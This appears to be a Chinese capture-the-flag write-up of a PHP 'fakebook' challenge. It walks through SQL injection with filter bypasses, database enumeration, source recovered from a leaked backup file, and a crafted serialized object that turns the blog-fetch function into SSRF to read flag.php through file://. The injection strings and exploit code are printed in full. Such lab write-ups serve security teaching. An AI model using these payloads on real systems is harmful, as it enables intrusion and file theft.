0x1 考点关键词
源码泄露、代码审计、SQL注入、SSRF、反序列化
0x2 题目详细
》分析
打开题目是一个可以进行登录注册页面,注册有填写链接地址的地方,随便注册一个先进去康康。
发现 view.php 疑似存在SQL注入,继续测试发现确实存在,fuzz 一下发现空格(可以用++和/**/绕过)和0x
被过滤了,结果如下(注入方式还可以用报错注入进行,这里我两种混用方便记):
- order by得到长度为4
- 爆库名
-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
/*fakebook,information_schema,mysql,performance_schema,test*/
- 爆表名
1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
/*users*/
- 爆字段
1 and updatexml(1,make_set(3,%27~%27,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)
/*no,username,passwd,data,USER,C*/
- 爆数据
-1++union++select++1,group_concat(data),3,4++from++users--+
/*O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"1.com";} */
发现data存的是个序列化后的数据,猜测后台是通过反序列化data后输出前端结果。
御剑扫出存在 flag.php 。
robots.txt 信息泄露 user.php.bak,下载源码:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
/*curl_init():初始化一个 cURL 会话并且全部的选项都被设置后被调用*/
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
/*
curl_setopt — 为给定的cURL会话句柄设置一个选项。
说明:
bool curl_setopt ( resource $ch , int $option , mixed $value )
参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。
value:将设置在option选项上的值。
对于下面的这些option的可选参数,value应该被设置一个bool类型的值:
CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
对于下面的这些option的可选参数,value应该被设置一个string类型的值:
CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。
###################
文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流
*/
$output = curl_exec($ch);
/*curl_exec :执行 cURL 会话*/
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
/*
curl_getinfo — 获取一个cURL连接资源句柄的信息
说明:
mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )获取最后一次传输的相关信息。
参数:
ch 由 curl_init() 返回的 cURL 句柄。
opt:这个参数可能是以下常量之一:
CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
*/
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
》总结
(当时自己没有想出来)
可以通过 union 进去一个反序列化数据达到 SSRF 的目的,这样就能绕过 join 处对博客网址的检测。
反序列化 exp:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
}
$c = new UserInfo();
$c -> name = "lola39";
$c -> age = 18;
$c -> blog = "file:///var/www/html/flag.php";
echo serialize($c);
?>
解题 payload :
-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"lola39";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看页面源码即可看到链接
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg=='>
得到
<?php
$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";
exit(0);
0x3 PS
- cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。
- PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
- libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
- PHP中使用cURL实现Get和Post请求的方法
- 这些函数在PHP 4.0.2中被引入。
所以这里的重点是 curl_setopt()和curl_exec()这两个函数,在注册界面直接输入file:///var/www/html/flag.php存在过滤,这时候可以利用SSRF来绕过过滤